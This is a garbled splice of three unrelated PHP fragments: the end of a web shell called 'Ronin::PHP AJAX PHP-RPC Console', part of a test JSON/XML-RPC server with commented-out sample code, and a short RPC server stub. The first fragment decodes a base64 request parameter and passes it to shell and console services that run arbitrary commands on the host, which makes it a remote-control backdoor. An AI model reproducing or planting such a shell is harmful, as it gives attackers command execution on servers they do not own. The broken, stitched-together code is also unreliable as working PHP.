$command .= array_shift($params) . ' ' . $this->format($params); } else { $command .= $params[0]; } $command .= '; pwd'; $output = $this->exec_output($command); $this->cwd = array_pop($output); $output_string = ''; foreach ($output as $line) { $output_string .= "{$line}\n"; } return $output_string; } } if (isset($_REQUEST['rpc_call'])) { $server = new RPCServer(); $server->register_method('running', 'running'); $server->register_method('fingerprint', 'fingerprint'); $server->register_service('console', new ConsoleService()); $server->register_service('shell', new ShellService()); $xml = base64_decode(rawurldecode($_REQUEST['rpc_call'])); $response = $server->call_method($xml); echo "<rpc>{$response}</rpc>"; exit; } ?> --> <html> <head> <title>Ronin::PHP - AJAX PHP-RPC Console</title>
// } // // function getPoint() // { // return array("x" => $this->x, // "y" => $this->y, // "label" => $this->label); // } //} // //// "$label" is declared but not defined //$p1 = new Point2D(1.233, 3.445); // //$p1->setLabel("point #1"); date_default_timezone_set(date_default_timezone_get()); $server = RPCServer::getInstance(); $server->name = "Test JSON/XML-RPC Server"; $server->id = "urn:uuid:41544946-415a-495a-5645-454441534646"; $server->version = 1.0; $server->convertISO8601Strings(true); $server->preserveDefaultParameters(true); #$server->useIncludedFunctions(true); #require_once('miscFunctions.php'); #$server->addMethod('printBio', 'printBio'); function passThrough() { #throw new Exception("You are an idiot"); return func_get_args(); } $server->addMethod("passThrough"); function tryDefaultArguments(array $array1 = array(), $array2 = array(1, "*", 2), $array3 = array(array(array(array(1, 2, 3))), array(1, "foo")))
<?php include_once '../config/setup.php'; $server = new RPCServer(); $server->setClass('Application'); $server->handle();